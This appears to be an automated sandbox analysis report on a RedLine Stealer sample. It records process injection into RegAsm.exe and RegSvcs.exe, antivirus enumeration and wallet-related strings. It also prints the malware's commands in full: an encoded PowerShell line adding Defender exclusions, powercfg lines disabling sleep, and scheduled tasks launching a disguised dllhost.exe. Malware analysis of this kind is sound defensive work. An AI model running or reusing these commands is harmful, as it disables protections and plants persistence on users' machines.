Code function: 0_2_027F2139 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_027F2139

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#sW8Lc#> Add-MpPreference <#VwAw#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#5Rhx#> -Force <#uiup8R#>
Source: C:\Windows\SysWOW64\cmd.exe	Process created: Base64 decoded <#sW8Lc#> Add-MpPreference <#VwAw#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#5Rhx#> -Force <#uiup8R#>

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F7A008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: E9E008

Source: C:\Users\user\Desktop\inject.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\conhost.exe "C:\Users\user\AppData\Local\Temp\conhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajahmavwa4aewaywajad4aiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajafyadwbbahcaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmanqbsaggaeaajad4aiaataeyabwbyagmazqagadwaiwb1agkadqbwadgaugajad4a" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajahmavwa4aewaywajad4aiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajafyadwbbahcaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmanqbsaggaeaajad4aiaataeyabwbyagmazqagadwaiwb1agkadqbwadgaugajad4a"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell -encodedcommand "paajahmavwa4aewaywajad4aiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajafyadwbbahcaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmanqbsaggaeaajad4aiaataeyabwbyagmazqagadwaiwb1agkadqbwadgaugajad4a" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -encodedcommand "paajahmavwa4aewaywajad4aiabbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajafyadwbbahcaiwa+acaalqbfahgaywbsahuacwbpag8abgbqageadaboacaaqaaoacqazqbuahyaogbvahmazqbyafaacgbvagyaaqbsagualaakaguabgb2adoauwb5ahmadablag0arabyagkadgblackaiaa8acmanqbsaggaeaajad4aiaataeyabwbyagmazqagadwaiwb1agkadqbwadgaugajad4a"

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

5_2_00402744

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 9_2_0035D670 cpuid

9_2_0035D670

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

5_2_0040247D

Source: C:\Users\user\Desktop\inject.exe	Queries volume information: C:\Users\user\Desktop\inject.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_004039E7 lstrlenW,GetSystemTimeAsFileTime,GetFileAttributesW,memcpy,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

5_2_004039E7

Source: C:\Users\user\AppData\Local\Temp\conhost.exe

Code function: 5_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

5_2_00405BFC

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2243315419.00000000072B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2243157954.000000000728E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.inject.exe.37f5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inject.exe.37f5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inject.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3724, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
